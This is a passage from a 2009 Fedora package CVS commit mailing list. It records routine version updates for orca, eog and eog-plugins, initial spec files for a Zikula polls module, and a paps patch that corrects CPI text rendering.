+++ sources	20 Oct 2009 02:30:15 -0000	1.15
@@ -1 +1 @@
-5cf5e1a8760d9452a2c7ba9c4a096b94  gwget-1.0.3.tar.bz2
+b65ebc752cad068e747ae6ef45fafdcc  gwget-1.0.4.tar.bz2


--- gwget.desktop DELETED ---



From mclasen at fedoraproject.org  Tue Oct 20 02:35:46 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 02:35:46 +0000 (UTC)
Subject: rpms/orca/F-12 .cvsignore, 1.59, 1.60 orca.spec, 1.98, 1.99 sources,
	1.60, 1.61
Message-ID: <20091020023547.0D2A911C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/orca/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32090

Modified Files:
	.cvsignore orca.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/orca/F-12/.cvsignore,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- .cvsignore	22 Sep 2009 05:30:40 -0000	1.59
+++ .cvsignore	20 Oct 2009 02:35:46 -0000	1.60
@@ -1 +1 @@
-orca-2.28.0.tar.bz2
+orca-2.28.1.tar.bz2


Index: orca.spec
===================================================================
RCS file: /cvs/pkgs/rpms/orca/F-12/orca.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- orca.spec	22 Sep 2009 05:30:40 -0000	1.98
+++ orca.spec	20 Oct 2009 02:35:46 -0000	1.99
@@ -17,7 +17,7 @@
 %define control_center_version 2.16.0-5
 
 Name:		orca
-Version:	2.28.0
+Version:	2.28.1
 Release: 	1%{?dist}
 Summary:	Assistive technology for people with visual impairments
 
@@ -108,6 +108,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+
 * Tue Sep 22 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/orca/F-12/sources,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- sources	22 Sep 2009 05:30:40 -0000	1.60
+++ sources	20 Oct 2009 02:35:46 -0000	1.61
@@ -1 +1 @@
-611b83b2200f78e82af2565aa66dfa28  orca-2.28.0.tar.bz2
+f1f8682b66fc0c122d344ddd9a4787ad  orca-2.28.1.tar.bz2



From sparks at fedoraproject.org  Tue Oct 20 02:37:17 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Tue, 20 Oct 2009 02:37:17 +0000 (UTC)
Subject: rpms/zikula-module-advanced_polls/devel import.log, NONE,
	1.1 zikula-module-advanced_polls.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091020023717.7384911C00DC@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/zikula-module-advanced_polls/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32509/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log zikula-module-advanced_polls.spec 
Log Message:
Initial package.



--- NEW FILE import.log ---
zikula-module-advanced_polls-1_5_1-1_fc11:HEAD:zikula-module-advanced_polls-1.5.1-1.fc11.src.rpm:1256006189


--- NEW FILE zikula-module-advanced_polls.spec ---
%global zikula_base             %{_datadir}/zikula
%global zikula_moddir           %{zikula_base}/modules
%global zikula_modname          advanced_polls

Name:           zikula-module-%{zikula_modname}
Version:        1.5.1
Release:        1%{?dist}
Summary:        Advanced voting system for Zikula

Group:          Applications/Publishing
License:        GPL+
URL:            http://code.zikula.org/avancedpolls/downloads
# http://code.zikula.org/advancedpolls/downloads/2
Source0:        %{zikula_modname}151.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
#BuildRequires:
Requires:       zikula

%description
Advanced Polls is an advanced voting system for the Zikula CMS system


%prep
%setup -qn html/modules/%{zikula_modname}
# Remove empty index.html and others
find -size 0 | xargs rm -f


%build
# Fixing wrong-file-end-of-line-encoding errors
cd pndocs
sed -i 's/\r//' credits.txt
sed -i 's/\r//' changelog.txt
sed -i 's/\r//' help.txt
sed -i 's/\r//' license.txt

%install
rm -rf $RPM_BUILD_ROOT
%{__mkdir} -p $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname} 
cp -pr . $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}
rm -rf $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}/pndocs


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc pndocs/credits.txt pndocs/changelog.txt pndocs/help.txt pndocs/license.txt
%{zikula_moddir}/%{zikula_modname}


%changelog
* Wed Jul 15 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 1.5.1-1
- Initial RPM release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-advanced_polls/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:17:46 -0000	1.1
+++ .cvsignore	20 Oct 2009 02:37:17 -0000	1.2
@@ -0,0 +1 @@
+advanced_polls151.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-advanced_polls/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:17:46 -0000	1.1
+++ sources	20 Oct 2009 02:37:17 -0000	1.2
@@ -0,0 +1 @@
+8f4f1fb4095c7b428bff2273d2be4106  advanced_polls151.zip



From mclasen at fedoraproject.org  Tue Oct 20 02:42:39 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 02:42:39 +0000 (UTC)
Subject: rpms/eog/F-12 .cvsignore, 1.90, 1.91 eog.spec, 1.153, 1.154 sources,
	1.90, 1.91
Message-ID: <20091020024239.6F2AE11C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/eog/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv673

Modified Files:
	.cvsignore eog.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/eog/F-12/.cvsignore,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- .cvsignore	22 Sep 2009 03:05:52 -0000	1.90
+++ .cvsignore	20 Oct 2009 02:42:39 -0000	1.91
@@ -1 +1 @@
-eog-2.28.0.tar.bz2
+eog-2.28.1.tar.bz2


Index: eog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eog/F-12/eog.spec,v
retrieving revision 1.153
retrieving revision 1.154
diff -u -p -r1.153 -r1.154
--- eog.spec	22 Sep 2009 03:05:52 -0000	1.153
+++ eog.spec	20 Oct 2009 02:42:39 -0000	1.154
@@ -11,7 +11,7 @@
 
 Summary: Eye of GNOME image viewer
 Name:    eog
-Version: 2.28.0
+Version: 2.28.1
 Release: 1%{?dist}
 URL: http://projects.gnome.org/eog/
 Source: http://download.gnome.org/sources/eog/2.28/%{name}-%{version}.tar.bz2
@@ -170,6 +170,9 @@ fi
 %{_datadir}/gtk-doc/html/eog
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eog/F-12/sources,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- sources	22 Sep 2009 03:05:52 -0000	1.90
+++ sources	20 Oct 2009 02:42:39 -0000	1.91
@@ -1 +1 @@
-d36efde32f6669864023ebe838590a32  eog-2.28.0.tar.bz2
+efb488a22cbb0ca70f4b6a0f2d8aa83e  eog-2.28.1.tar.bz2



From tagoh at fedoraproject.org  Tue Oct 20 02:42:46 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Tue, 20 Oct 2009 02:42:46 +0000 (UTC)
Subject: rpms/paps/F-12 paps-fix-cpi.patch,NONE,1.1 paps.spec,1.38,1.39
Message-ID: <20091020024246.30C7511C00DC@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/paps/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv734

Modified Files:
	paps.spec 
Added Files:
	paps-fix-cpi.patch 
Log Message:
* Wed Oct 14 2009 Akira TAGOH <tagoh at redhat.com> - 0.6.9-11
- Fix code that deal with CPI parameter to be accurate. (#524883)

paps-fix-cpi.patch:
 libpaps.c |   31 ++++++++-
 libpaps.h |   14 +++-
 paps.c    |  204 ++++++++++++++++++++++++--------------------------------------
 3 files changed, 121 insertions(+), 128 deletions(-)

--- NEW FILE paps-fix-cpi.patch ---
diff --git a/src/libpaps.c b/src/libpaps.c
index b6363a7..1b80257 100644
--- a/src/libpaps.c
+++ b/src/libpaps.c
@@ -55,6 +55,9 @@ typedef struct {
   double last_pos_x;
   double scale_x;
   double scale_y;
+  double width;
+  double height;
+  double cpi;
 } paps_private_t;
 
 
@@ -88,6 +91,26 @@ paps_t *paps_new()
 }
 
 void
+paps_set_paper_size(paps_t  *paps_,
+		    gdouble  width,
+		    gdouble  height)
+{
+	paps_private_t *paps = (paps_private_t *)paps_;
+
+	paps->width = width;
+	paps->height = height;
+}
+
+void
+paps_set_cpi(paps_t  *paps_,
+	     gdouble  cpi)
+{
+	paps_private_t *paps = (paps_private_t *)paps_;
+
+	paps->cpi = cpi;
+}
+
+void
 paps_set_scale(paps_t  *paps_,
 	       gdouble  scale_x,
 	       gdouble  scale_y)
@@ -401,7 +424,7 @@ static void draw_contour(paps_private_t *paps,
       FT_Face ft_face = pango_ft2_font_get_face(font);
       int num_glyphs = glyphs->num_glyphs;
       int glyph_idx;
-      
+
       for (glyph_idx=0; glyph_idx<num_glyphs; glyph_idx++)
         {
           PangoGlyphGeometry geometry = glyphs->glyphs[glyph_idx].geometry;
@@ -410,7 +433,11 @@ static void draw_contour(paps_private_t *paps,
           glyph_pos_x = x_pos + 1.0*geometry.x_offset * scale;
           glyph_pos_y = line_start_pos_y - 1.0*geometry.y_offset * scale;
 
-	  x_pos += geometry.width * scale * paps->scale_x;
+	  if (paps->cpi > 0.0L) {
+		  x_pos += (1 / paps->cpi * 72.0);
+	  } else {
+		  x_pos += geometry.width * scale * paps->scale_x;
+	  }
 
           if (glyphs->glyphs[glyph_idx].glyph == PANGO_GLYPH_EMPTY)
             continue;
diff --git a/src/libpaps.h b/src/libpaps.h
index 0b74321..cbb4042 100644
--- a/src/libpaps.h
+++ b/src/libpaps.h
@@ -53,10 +53,16 @@ void paps_free(paps_t *paps);
  * @param scale_y y-coordinate scale
  *
  */
-void
-paps_set_scale(paps_t  *paps,
-	       gdouble  scale_x,
-	       gdouble  scale_y);
+void paps_set_scale(paps_t  *paps,
+		    gdouble  scale_x,
+		    gdouble  scale_y);
+
+void paps_set_paper_size(paps_t  *paps_,
+			 gdouble  width,
+			 gdouble  height);
+
+void paps_set_cpi(paps_t  *paps_,
+		  gdouble  cpi);
 
 /** 
  * libpaps may currently be used only with a PangoContext that it
diff --git a/src/paps.c b/src/paps.c
index 334d547..72dbaad 100644
--- a/src/paps.c
+++ b/src/paps.c
@@ -32,6 +32,8 @@
 #include <time.h>
 #include <locale.h>
 #include <cups/cups.h>
+#include <math.h>
+#include <wchar.h>
 
 #define BUFSIZE 1024
 #define DEFAULT_FONT_FAMILY	"Monospace"
@@ -593,6 +595,8 @@ int main(int argc, char *argv[])
   page_layout.owner = page_owner;
   page_layout.cups_mode = cups_mode;
 
+  paps_set_paper_size(paps, page_width, page_height);
+
   /* calculate x-coordinate scale */
   if (page_layout.cpi > 0.0L)
     {
@@ -605,7 +609,7 @@ int main(int argc, char *argv[])
       w = pango_font_metrics_get_approximate_digit_width (metrics);
       if (w > max_width)
 	  max_width = w;
-      page_layout.scale_x = 1 / page_layout.cpi * 72.0 * PANGO_SCALE / max_width;
+      page_layout.scale_x = 1 / page_layout.cpi * 72.0 * (gdouble)PANGO_SCALE / (gdouble)max_width;
       pango_font_metrics_unref (metrics);
       g_object_unref (G_OBJECT (fontmap));
 
@@ -613,6 +617,8 @@ int main(int argc, char *argv[])
       // update the font size to that width
       pango_font_description_set_size (font_description, font_size * page_layout.scale_x);
       pango_context_set_font_description (pango_context, font_description);
+
+      paps_set_cpi(paps, page_layout.cpi);
     }
 
   page_layout.scale_x = page_layout.scale_y = 1.0;
@@ -726,119 +732,6 @@ read_file (FILE   *file,
   return text;
 }
 
-#if 0
-/* Take a UTF8 string and break it into paragraphs on \n characters.
- *
- * Sorry. I couldn't figure out what this version was supposed to do
- *
- */
-static GList *
-split_text_into_paragraphs (PangoContext *pango_context,
-                            page_layout_t *page_layout,
-                            int paint_width,  /* In pixels */
-                            char *text)
-{
-  char *p = text;
-  char *next;
-  gunichar wc;
-  GList *result = NULL;
-  char *last_para = text;
-  
-  while (p != NULL && *p)
-    {
-      wc = g_utf8_get_char (p);
-      next = g_utf8_next_char (p);
-      if (wc == (gunichar)-1)
-        {
-          fprintf (stderr, "%s: Invalid character in input\n", g_get_prgname ());
-          wc = 0;
-        }
-      if (!*p || !wc || wc == '\n' || wc == '\f')
-        {
-          Paragraph *para = g_new (Paragraph, 1);
-          para->text = last_para;
-          para->length = p - last_para;
-          para->layout = pango_layout_new (pango_context);
-
-	  if (cpi > 0.0L && page_layout->do_wordwrap)
-	    {
-	      PangoRectangle ink_rect, logical_rect;
-	      wchar_t *wtext, *wnewtext;
-	      gchar *newtext;
-	      size_t i, len, wwidth = 0, n;
-
-	      wtext = g_utf8_to_ucs4 (para->text, para->length, NULL, NULL, NULL);
-	      if (wtext == NULL)
-	        {
-		  fprintf (stderr, "Failed to convert UTF-8 to UCS-4.\n");
-                  exit(1);
-		}
-
-	      len = g_utf8_strlen (para->text, para->length);
-	      /* the amount of characters to be able to put on the line against CPI */
-	      n = page_layout->column_width / 72.0 * cpi;
-	      if (len > n)
-	        {
-		  wnewtext = g_new (wchar_t, wcslen (wtext) + 1);
-		  if (wnewtext == NULL)
-		    {
-		      fprintf (stderr, "Failed to allocate a memory.\n");
-		      g_free (wtext);
-                      exit(1);
-		    }
-		  for (i = 0; i < len; i++)
-		    {
-		      wwidth += wcwidth (wtext[i]);
-		      if (wwidth > n)
-			  break;
-		      wnewtext[i] = wtext[i];
-		    }
-		  wnewtext[i] = 0L;
-
-		  newtext = g_ucs4_to_utf8 ((const gunichar *)wnewtext, i, NULL, NULL, NULL);
-		  if (newtext == NULL)
-		    {
-		      fprintf (stderr, "Failed to convert UCS-4 to UTF-8.\n");
-                      exit(1);
-		    }
-
-		  pango_layout_set_text (para->layout, newtext, -1);
-		  pango_layout_get_extents (para->layout, &ink_rect, &logical_rect);
-		  /* update paint_width to wrap_against CPI */
-		  paint_width = logical_rect.width / PANGO_SCALE;
-		  g_free (newtext);
-		  g_free (wnewtext);
-		}
-	      g_free (wtext);
-	    }
-          pango_layout_set_text (para->layout, para->text, para->length);
-          pango_layout_set_justify (para->layout, page_layout->do_justify);
-          pango_layout_set_alignment (para->layout,
-                                      page_layout->pango_dir == PANGO_DIRECTION_LTR
-                                      ? PANGO_ALIGN_LEFT : PANGO_ALIGN_RIGHT);
-          pango_layout_set_width (para->layout, paint_width * PANGO_SCALE);
-          if (page_layout->do_wordwrap)
-              pango_layout_set_wrap (para->layout, PANGO_WRAP_WORD_CHAR);
-          para->height = 0;
-
-          if (wc == '\f')
-              para->formfeed = 1;
-          else
-              para->formfeed = 0;
-
-          last_para = next;
-            
-          result = g_list_prepend (result, para);
-        }
-      if (!wc) /* incomplete character at end */
-        break;
-      p = next;
-    }
-
-  return g_list_reverse (result);
-}
-#endif
-
 /* Take a UTF8 string and break it into paragraphs on \n characters
  */
 static GList *
@@ -904,18 +797,85 @@ split_text_into_paragraphs (PangoContext *pango_context,
               para->text = last_para;
               para->length = p - last_para;
               para->layout = pango_layout_new (pango_context);
-              //          pango_layout_set_font_description (para->layout, font_description);
-              pango_layout_set_text (para->layout, para->text, para->length);
+
+	      if (page_layout->cpi > 0.0L && page_layout->do_wordwrap) {
+		      /* figuring out the correct width from the pango_font_metrics_get_approximate_width()
+		       * is really hard and pango_layout_set_wrap() doesn't work properly then.
+		       * Those are not reliable to render the characters exactly according to the given CPI.
+		       * So Re-calculate the width to wrap up to be comfortable with CPI.
+		       */
+		      wchar_t *wtext = NULL, *wnewtext = NULL;
+		      gchar *newtext = NULL;
+		      gsize len, col, i, wwidth = 0;
+		      PangoRectangle ink_rect, logical_rect;
+
+		      wtext = (wchar_t *)g_utf8_to_ucs4(para->text, para->length, NULL, NULL, NULL);
+		      if (wtext == NULL) {
+			      fprintf(stderr, "%s: Unable to convert UTF-8 to UCS-4.\n", g_get_prgname());
+			fail:
+			      g_free(wtext);
+			      g_free(wnewtext);
+			      g_free(newtext);
+			      if (page_layout->cups_mode) {
+				      /* try to continue parsing text */
+				      p = next;
+				      continue;
+			      } else {
+				      exit(1);
+			      }
+		      }
+		      len = g_utf8_strlen(para->text, para->length);
+		      /* the amount of characters that can be put on the line against CPI */
+		      col = page_layout->column_width / 72.0 * page_layout->cpi;
+		      if (len > col) {
+			      /* need to wrap up them */
+			      wnewtext = g_new(wchar_t, wcslen(wtext) + 1);
+			      if (wnewtext == NULL) {
+				      fprintf(stderr, "%s: Unable to allocate the memory.\n", g_get_prgname());
+				      goto fail;
+			      }
+			      for (i = 0; i < len; i++) {
+				      wwidth += wcwidth(wtext[i]);
+				      if (wwidth > col)
+					      break;
+				      wnewtext[i] = wtext[i];
+			      }
+			      wnewtext[i] = 0L;
+
+			      newtext = g_ucs4_to_utf8((const gunichar *)wnewtext, i, NULL, NULL, NULL);
+			      if (newtext == NULL) {
+				      fprintf(stderr, "%s: Unable to convert UCS-4 to UTF-8.\n", g_get_prgname());
+				      goto fail;
+			      }
+			      pango_layout_set_text(para->layout, newtext, -1);
+			      pango_layout_get_extents(para->layout, &ink_rect, &logical_rect);
+			      paint_width = logical_rect.width / PANGO_SCALE;
+			      g_free(wnewtext);
+			      g_free(newtext);
+
+			      para->length = i;
+			      next = g_utf8_offset_to_pointer(para->text, para->length);
+			      wc = g_utf8_prev_char(next);
+		      } else {
+			      pango_layout_set_text(para->layout, para->text, para->length);
+		      }
+		      g_free(wtext);
+		      
+		      pango_layout_set_width(para->layout, -1);
+	      } else {
+		      pango_layout_set_text (para->layout, para->text, para->length);
+		      if (page_layout->do_wordwrap) {
+			      pango_layout_set_wrap (para->layout, PANGO_WRAP_WORD_CHAR);
+			      pango_layout_set_width (para->layout, paint_width * PANGO_SCALE);
+		      } else {
+			      pango_layout_set_width (para->layout, -1);
+		      }
+	      }
+					      
               pango_layout_set_justify (para->layout, page_layout->do_justify);
               pango_layout_set_alignment (para->layout,
                                           page_layout->pango_dir == PANGO_DIRECTION_LTR
                                           ? PANGO_ALIGN_LEFT : PANGO_ALIGN_RIGHT);
-              if (page_layout->do_wordwrap) {
-                pango_layout_set_wrap (para->layout, PANGO_WRAP_WORD_CHAR);
-                pango_layout_set_width (para->layout, paint_width * PANGO_SCALE);
-              } else {
-                pango_layout_set_width (para->layout, -1);
-              }
 
               para->height = 0;
 


Index: paps.spec
===================================================================
RCS file: /cvs/pkgs/rpms/paps/F-12/paps.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- paps.spec	25 Jul 2009 23:14:11 -0000	1.38
+++ paps.spec	20 Oct 2009 02:42:46 -0000	1.39
@@ -1,6 +1,6 @@
 Name:		paps
 Version:	0.6.8
-Release:	10%{?dist}
+Release:	11%{?dist}
 
 License:	LGPLv2+
 URL:		http://paps.sourceforge.net/
@@ -21,6 +21,7 @@ Patch50:	paps-cups.patch
 Patch51:	paps-cpilpi.patch
 Patch52:	paps-dsc-compliant.patch
 Patch53:	paps-autoconf262.patch
+Patch54:	paps-fix-cpi.patch
 
 Summary:	Plain Text to PostScript converter
 Group:		Applications/Publishing
@@ -56,6 +57,7 @@ applications using paps API.
 %patch51 -p1 -b .cpilpi
 %patch52 -p1 -b .dsc
 %patch53 -p1 -b .autoconf262
+%patch54 -p1 -b .fixcpi
 libtoolize -f -c
 autoreconf
 
@@ -99,6 +101,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libpaps.so
 
 %changelog
+* Wed Oct 14 2009 Akira TAGOH <tagoh at redhat.com> - 0.6.9-11
+- Fix code that deal with CPI parameter to be accurate. (#524883)
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.8-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From sparks at fedoraproject.org  Tue Oct 20 02:45:21 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Tue, 20 Oct 2009 02:45:21 +0000 (UTC)
Subject: rpms/zikula-module-advanced_polls/EL-5 import.log, NONE,
	1.1 zikula-module-advanced_polls.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091020024521.80B3211C02A0@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/zikula-module-advanced_polls/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1282/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log zikula-module-advanced_polls.spec 
Log Message:
Initial package.



--- NEW FILE import.log ---
zikula-module-advanced_polls-1_5_1-1_fc11:EL-5:zikula-module-advanced_polls-1.5.1-1.fc11.src.rpm:1256006666


--- NEW FILE zikula-module-advanced_polls.spec ---
%global zikula_base             %{_datadir}/zikula
%global zikula_moddir           %{zikula_base}/modules
%global zikula_modname          advanced_polls

Name:           zikula-module-%{zikula_modname}
Version:        1.5.1
Release:        1%{?dist}
Summary:        Advanced voting system for Zikula

Group:          Applications/Publishing
License:        GPL+
URL:            http://code.zikula.org/avancedpolls/downloads
# http://code.zikula.org/advancedpolls/downloads/2
Source0:        %{zikula_modname}151.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
#BuildRequires:
Requires:       zikula

%description
Advanced Polls is an advanced voting system for the Zikula CMS system


%prep
%setup -qn html/modules/%{zikula_modname}
# Remove empty index.html and others
find -size 0 | xargs rm -f


%build
# Fixing wrong-file-end-of-line-encoding errors
cd pndocs
sed -i 's/\r//' credits.txt
sed -i 's/\r//' changelog.txt
sed -i 's/\r//' help.txt
sed -i 's/\r//' license.txt

%install
rm -rf $RPM_BUILD_ROOT
%{__mkdir} -p $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname} 
cp -pr . $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}
rm -rf $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}/pndocs


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc pndocs/credits.txt pndocs/changelog.txt pndocs/help.txt pndocs/license.txt
%{zikula_moddir}/%{zikula_modname}


%changelog
* Wed Jul 15 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 1.5.1-1
- Initial RPM release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-advanced_polls/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:17:46 -0000	1.1
+++ .cvsignore	20 Oct 2009 02:45:21 -0000	1.2
@@ -0,0 +1 @@
+advanced_polls151.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-advanced_polls/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:17:46 -0000	1.1
+++ sources	20 Oct 2009 02:45:21 -0000	1.2
@@ -0,0 +1 @@
+8f4f1fb4095c7b428bff2273d2be4106  advanced_polls151.zip



From sparks at fedoraproject.org  Tue Oct 20 02:51:45 2009
From: sparks at fedoraproject.org (Eric Christensen)
Date: Tue, 20 Oct 2009 02:51:45 +0000 (UTC)
Subject: rpms/zikula-module-advanced_polls/F-11 import.log, NONE,
	1.1 zikula-module-advanced_polls.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091020025145.22B9111C00DC@cvs1.fedora.phx.redhat.com>

Author: sparks

Update of /cvs/pkgs/rpms/zikula-module-advanced_polls/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2641/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log zikula-module-advanced_polls.spec 
Log Message:
Initial package.



--- NEW FILE import.log ---
zikula-module-advanced_polls-1_5_1-1_fc11:F-11:zikula-module-advanced_polls-1.5.1-1.fc11.src.rpm:1256007077


--- NEW FILE zikula-module-advanced_polls.spec ---
%global zikula_base             %{_datadir}/zikula
%global zikula_moddir           %{zikula_base}/modules
%global zikula_modname          advanced_polls

Name:           zikula-module-%{zikula_modname}
Version:        1.5.1
Release:        1%{?dist}
Summary:        Advanced voting system for Zikula

Group:          Applications/Publishing
License:        GPL+
URL:            http://code.zikula.org/avancedpolls/downloads
# http://code.zikula.org/advancedpolls/downloads/2
Source0:        %{zikula_modname}151.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
#BuildRequires:
Requires:       zikula

%description
Advanced Polls is an advanced voting system for the Zikula CMS system


%prep
%setup -qn html/modules/%{zikula_modname}
# Remove empty index.html and others
find -size 0 | xargs rm -f


%build
# Fixing wrong-file-end-of-line-encoding errors
cd pndocs
sed -i 's/\r//' credits.txt
sed -i 's/\r//' changelog.txt
sed -i 's/\r//' help.txt
sed -i 's/\r//' license.txt

%install
rm -rf $RPM_BUILD_ROOT
%{__mkdir} -p $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname} 
cp -pr . $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}
rm -rf $RPM_BUILD_ROOT/%{zikula_moddir}/%{zikula_modname}/pndocs


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc pndocs/credits.txt pndocs/changelog.txt pndocs/help.txt pndocs/license.txt
%{zikula_moddir}/%{zikula_modname}


%changelog
* Wed Jul 15 2009 Eric "Sparks" Christensen <sparks at fedoraproject.org> - 1.5.1-1
- Initial RPM release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-advanced_polls/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:17:46 -0000	1.1
+++ .cvsignore	20 Oct 2009 02:51:43 -0000	1.2
@@ -0,0 +1 @@
+advanced_polls151.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-advanced_polls/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:17:46 -0000	1.1
+++ sources	20 Oct 2009 02:51:43 -0000	1.2
@@ -0,0 +1 @@
+8f4f1fb4095c7b428bff2273d2be4106  advanced_polls151.zip



From mclasen at fedoraproject.org  Tue Oct 20 02:59:37 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 02:59:37 +0000 (UTC)
Subject: rpms/eog-plugins/F-12 .cvsignore, 1.4, 1.5 eog-plugins.spec, 1.5,
	1.6 sources, 1.4, 1.5
Message-ID: <20091020025937.3847711C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/eog-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5324

Modified Files:
	.cvsignore eog-plugins.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/eog-plugins/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	22 Sep 2009 04:50:29 -0000	1.4
+++ .cvsignore	20 Oct 2009 02:59:36 -0000	1.5
@@ -1 +1 @@
-eog-plugins-2.28.0.tar.bz2
+eog-plugins-2.28.1.tar.bz2


Index: eog-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eog-plugins/F-12/eog-plugins.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- eog-plugins.spec	22 Sep 2009 04:50:29 -0000	1.5
+++ eog-plugins.spec	20 Oct 2009 02:59:37 -0000	1.6
@@ -1,5 +1,5 @@
 Name:           eog-plugins
-Version:        2.28.0
+Version:        2.28.1
 Release:        1%{?dist}
 Summary:        A collection of plugins for the eog image viewer
 
@@ -50,6 +50,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+
 * Tue Sep 22 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eog-plugins/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	22 Sep 2009 04:50:29 -0000	1.4
